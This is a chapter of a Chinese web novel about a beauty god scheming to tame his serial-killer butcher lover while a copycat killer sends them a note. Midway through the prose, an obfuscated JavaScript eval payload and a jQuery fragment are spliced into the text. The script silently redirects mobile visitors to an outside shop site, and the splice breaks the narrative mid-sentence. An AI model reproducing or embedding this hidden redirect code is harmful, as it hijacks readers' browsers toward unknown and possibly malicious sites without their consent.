梳妆师受的刺激不轻,絮絮叨叨地跟欧利描述各种细节,谴责屠夫的恶劣行径。
欧利随之附和,在莱特探长面前展露出良好市民该有的面貌。
奥斯蒙放下刀,低头用抹布擦拭手上的血迹。
欧利注意到,莱特探长和梳妆师皆没提及亚历克斯的失踪。
多亏剧院关门,这个秘密才尚未暴露。
闲聊结束,莱特探长提出想带欧利回去做笔录。
欧利顿时露出为难的神色,怕自己出入治安厅被人看见,影响“红丝绒”的名誉。
这是显而易见的谎话,根本站不住脚,好在莱特探长对欧利印象不错,象征性地警告两句,就轻飘飘地揭过了。
梳妆师原本想劝欧利回剧院演戏,但见对方态度坚决,那位拿刀的男友又太过凶煞,遂不敢独自久留,也跟着莱特探长离开。
奥斯蒙瞪着二人离去的背影,磨了下后槽牙:“贱夫!”
“啊?”欧利没明白。
“他们在勾引你!”奥斯蒙一眼看穿。
欧利扶额,感觉这家伙的老毛病又犯了。
“很多人只是喜欢靠近‘美’,并不是在示爱。”
欧利身为美神,觉得自己还是能分清这两点的。
在神域也有很多神明围着他打转,一部分的确对他心生爱慕,另一部分对他,则是赏花一样的喜欢。
但奥斯蒙一直把这两种感情混为一谈,导致举世皆敌,看谁都不顺眼。
“他们就是在发.情,把肮脏的眼睛往你身上贴!”
奥斯蒙听不进去。
他知道那种眼神意味着什么。
简直像在照镜子。
欧利摇摇头,绕开这个鬼打墙的话题。
从前他们就没说服过对方,现在也一样。
“那个模仿犯是什么情况?之前也出现过吗?”欧利转到自己关心的问题上。
奥斯蒙思绪跟着欧利走,碰巧这会儿没人买肉,回忆了下便答道:“出现过,我之前一次只杀一个,但第二天报道了两具尸体。”
欧利对这事儿有印象。
他刚顶替原身就听后台的人在谈论,说屠夫作案变频繁了。
“那次对方杀的,也是议员?”
“好像是。”
欧利眯起眼,愈发确认模仿犯在趁机铲除异己。
不过有一点他觉得奇怪,既然对方剑指政圈,干嘛又拿剧院的人开刀?还一连杀了七个?
等等,奥斯蒙刚才的话有猫腻!
什么叫“‘之前’一次只杀一个”?
“之前”?
难道那七个人,是他……
* * *
奥斯蒙卖货的速度比平常快了数倍,才一上午的工夫就全部售罄。
这得益于欧利,自从他将伪装摘下,不少人特地赶来,就为能一睹芳容。
“哇,您真跟传闻中一样漂亮!我还以为是他们夸大其词呢!”
“以后能常在这儿见到您吗?”
“您才搬过来不久吧,住在哪里?房租合适吗?”
“我认识个靠谱的房东,屋子干净,租金也低,您要不要搬到我家那边……”
欧利笑着谢过众人的好意,就算拒绝态度也不生硬,十分和善。
如此一来,他住在此处的消息便传得更为广泛,连向来低调的奥斯蒙也不再隐形,彻底闯入大众视野。
有人质疑,有人好奇,可不管怎么说,名人效应已经形成。
奥斯蒙以后哪怕是上街买面包,都能引起不少关注,再也没法像以前那样,随心所欲地抓捕猎物。
“你是故意的。”
奥斯蒙收拾摊位,语气听不出情绪。
欧利哼哼两声,怡然自得。
就是故意的。
这家伙的杀欲越来越旺盛,必须当机立断,逼他收手。
恰好莱特探长找上门,给奥斯蒙带来些危机感;他们恋人关系曝光,又在这片区域迎来了大量的关注,这些都会提高猎杀难度。
奥斯蒙必将进入蛰伏期。
欧利要好好利用这段时间,让奥斯蒙把生活的重心彻底转移到自己身上。
他们可以在那个安静的地下尽情欢.爱,远离尘嚣,让奥斯蒙的情.欲压过对神力的追求。
而那个模仿犯,则会被迫变为真正的屠夫,牵扯治安厅的搜查精力。
天时地利人和,欧利岂能错过。
见对方承认,奥斯蒙沉默下来。
手中的刀锋亮如镜,映出他眼底的迷茫。
奥斯蒙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725312|208831||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
知道,欧利在试图改变他。
这种感觉很奇怪,就像是剥掉一颗苹果的皮,再换上橘子的外套。
苹果的本质不会改变,捧起它的主人却很开心。
那主人喜欢的,还算是苹果吗?
至于苹果……
它这个扭曲的四不像,又是什么?
给摊位盖上防尘布,收拾好小推车,两人按照清单上的内容依次采买。
欧利兴致高昂,奥斯蒙则心事重重。
“别不开心了,我回去做苹果派给你吃?不过你家好像没烤箱……要不要顺路买一个?”
欧利猜奥斯蒙在因黑雾短缺而难受,一路上想方设法地逗他开心。
奥斯蒙过去司掌“破坏”,唯有不断宣泄暴力吸收恶念,才能稳定神格。
否则,将会如缺失阳光的树木般逐渐干枯,情况若是严重,还会陨落消亡。
欧利知道这样逼他克服本性很难,也很残忍,但在九份灵魂碎片再度融合之前,他别无他法。
一切痛苦都是暂时的。
他会陪在他身边。
奥斯蒙掏光口袋里的最后积蓄,将家用烤箱搬上小推车。
他想,无论如何,欧利终究还是喜欢苹果的口感。
这才是最关键的。
套上橘子的外衣又怎样?
只要苹果痛快地切下果肉,日复一日地喂给主人就好。
他愿意被欧利蚕食,只要能以此侵.入肺腑。
奥斯蒙勾起嘴角,病态地笑了笑。
见他展颜,欧利大为欣慰,琢磨着等会儿先给奥斯蒙烤派,等这个馋鬼享用完,再去给亚历克斯配呆傻药。
欧利向来按计划行事,但这次,他的预料被打破了。
库房门锁被撬开,遮掩用的纸箱被挪到一旁,通道大敞,将地下的秘密空间彻底暴露。
欧利吃惊,以为是亚历克斯逃出来了,可他们回到地下室,却发现门锁虽被砸坏,人却依旧穿在铁钩上。
亚历克斯死了,右颈插了把陌生的匕首,刀柄缠裹着张纸条。
打开一看,几行优雅的花体字赫然出现。
【致屠夫】
【我知道你想要什么】
【今夜零点,西港码头】
【T.】